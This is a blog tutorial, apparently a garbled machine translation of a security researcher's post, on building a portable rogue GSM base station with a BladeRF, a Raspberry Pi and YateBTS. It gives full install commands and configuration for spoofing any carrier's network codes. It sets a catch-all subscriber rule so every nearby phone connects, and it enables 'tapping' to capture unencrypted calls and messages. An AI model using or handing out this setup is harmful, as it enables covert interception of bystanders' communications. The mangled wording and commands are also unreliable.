How to Build Your Own Rogue GSM BTS for Fun and Profit
![]()
In I will explain this blog post How to create a portable GSM BTS that can be used to create a private GSM network or for active GSM eavesdropping / Capture / Kidnapping … Yes, with some (relatively) cheap electronic equipment, you can basically create something very similar to what governments have been using for GSM wiretaps for years.
Nedeštruktívne
Technoogie
ktoré nikde nekúpiš.
Last week I visited my friend and colleague Ziggy in Tel Aviv who gave me something I’ve been waiting for almost a year, brand new Bladerf x40, low-cost radio software defined for USB 3.0 working in duplex, which means that it can broadcast and receive at the same time (for example, hackf is only half duplex).
I’m not writing this post to help kids break the law. My reason is that GSM is disruptive intentionally And it’s time for sellers to do something with regard to how much we pay for our services.
Hardware requirements
You will need the following hardware to build the BTS:
- Bladerf x40
- Two Four-band SMA mobile antennas.
- Raspberry Pi 3 (model 2 and below are too slow).
- USB battery (I use 26800 mAh Anker Astro E7).
- microscope for RPI> = 8 GB.
- Patience and time… 🙂

Software
Let’s start by installing the latest image Raspbian On the micRSD card (use “Lite”, without the need for UI), start the RPi, configure either WiFi or Ethernet and thenAt the end of this process, you should be able to ssh to RPi.
Then install a few things we will need soon:
sudo apt-get install git apache2 php5 Bladerf libbladerf-dev libbladerf0 automake
Now you should be able to communicate with Bladerf, plug it into one of the USB RPi ports, dmesg should tell you something like:
[ 2332.071675]USB 1-1.3: New USB Device Found, iDvendor=1D50, IDProduct=6066
[ 2332.071694]USB 1-1.3: New USB Device Strings: MFR=1, Product=2, SerialNumber=3
[ 2332.071707]USB 1-1.3: Product: Bladerf
[ 2332.071720]USB 1-1.3: Manufacturer: Nuand
[ 2332.071732]USB 1-1.3: SerialNumber: B4EF330E19B718F752759B4C14020742
Run the BladerF-CLI utility and enter the command:
pi@raspberrypi:~ $ sudo Bladerf-cli -i Bladerf> Version
Bladerf-CLI Version: 0.11.1-git
libbladerf version: 0.16.2-git
firmware version: 1.6.1-GIT-053FB13-Buildomatic
FPGA Version: 0.1.2
Blader>
IMPORTANT! Make sure you have these exact firmware and FPGA versions, other versions may not work in our settings.
Download the correct FPGA firmware and image.
Now we will install Yate and Yabts software, two open source software programs that will allow us to create the BTS itself.
Because I spent a lot of time exploring which particular version of each is BladerF compatible, I created a GitHub repository with the correct versions of both, so simply do the RPI home folder:
git clonehttps://github.com/evilsocket/evilbts.gitCD Evilbts
Let’s start building them:
Yate CDs
./Autogen.sh
./configure –prefix=/usr/local
make -j4
sudo make install
sudo ldconfig
CD ..
CD YATEBTS
./Autogen.sh
./configure –prefix=/usr/local
make -j4
sudo make install
sudo ldconfig
It will take a few minutes, but eventually you will have everything installed on your system.
Next, we will synchronize the NIB web server to our website:
CD /var/www/html/
sudo ln -s /usr/local/share/yate/nib_web NIB
and grant write permission for configuration files:
sudo chmod -r a+w /usr/local/etc/yate
You can now access your BTS web server from your browser:
http://ip-of-your-rpi/nib
Time to configure now!
Configuration
Open the /usr/local/etc/yate/ybts.conf file using nano or vi and update the following values:
radio.band=900
radio.c0=1000
Identity.mcc=your_country_mcc
Identity.mnc=your_operator_mnc
Identity.shortname=MyEVilbts
radio.powermanager.maxattendb=35
Radio.PowerManager.minattendb=35
Valid MCC and MNC values can be found here.
Now edit the /usr/local/etc/yate/subscribers.conf file:
country_code=your_contry_code
regexp=.*
Alert using the regular expression.* Every GSM phone in your area will connect to your BTS.
You will see something like this in your NIB website:
Enable GSM-tapping
You can enable it for both GSM and GPRS in the “Taping” panel, which basically “reflects” every GSM package to the loopback interface, because we do not configure any encryption, you will be able to see all GSM Operations easily using the TCPDump-ing of your loopback interface.
Turn on!
Finally, you can run the new BTS by executing the command (with BladerF connected!):
sudo yate -s
If everything is configured correctly, you will see a lot of messages and a line:
Starting MBTS…
Yate Engine Is Initialized And Starting Up On Raspberrypi
RTNetLink Answers: File Exists
MBTS Ready
At this point, the middle LED for your Bladerf should start flashing.
Give it a try!
Now the phones will start to connect automatically, which will happen due to the GSM implementation itself:
- You can set what you like MCC, MNC and LAC, and thus effectively fake any legitimate GSM BTS.
- Each phone searches for its carrier’s BTS and selects the phone with the strongest signal … Guess which one will be the strongest? Yes … ours:D
Here’s a picture taken from my Samsung Galaxy S6 (using Network Cell Info Lite) that automatically connects to my BTS after 3 minutes:
From now on, you can configure BTS to do whatever you want… Either act as a “proxy” to the legitimate SMC (with a GSM / 3G USB key) and search for unencrypted GSM communication of each phone or create a private GSM network in which users can communicate free of charge using the protocol SIP. You can find it in the server configuration YATEBTS Wiki.
And of course, if you plug in a USB battery, the whole system will become completely portable 🙂
Links and other readings
- https://github.com/Nuand/bladeRF/wiki/Setting-up-Yate-and-YateBTS-with-the-bladeRF
- https://z4ziggy.wordpress.com/2015/05/17/sniffing-gsm-traffic-with-hackrf/
- https://z4ziggy.wordpress.com/2015/05/10/ziggys-embedded-bts/
- http://wiki.yatebts.com/index.php/Main_Page
Source: EvilSocket.net – Or buy a private BTS from our sponsor www.market.sk










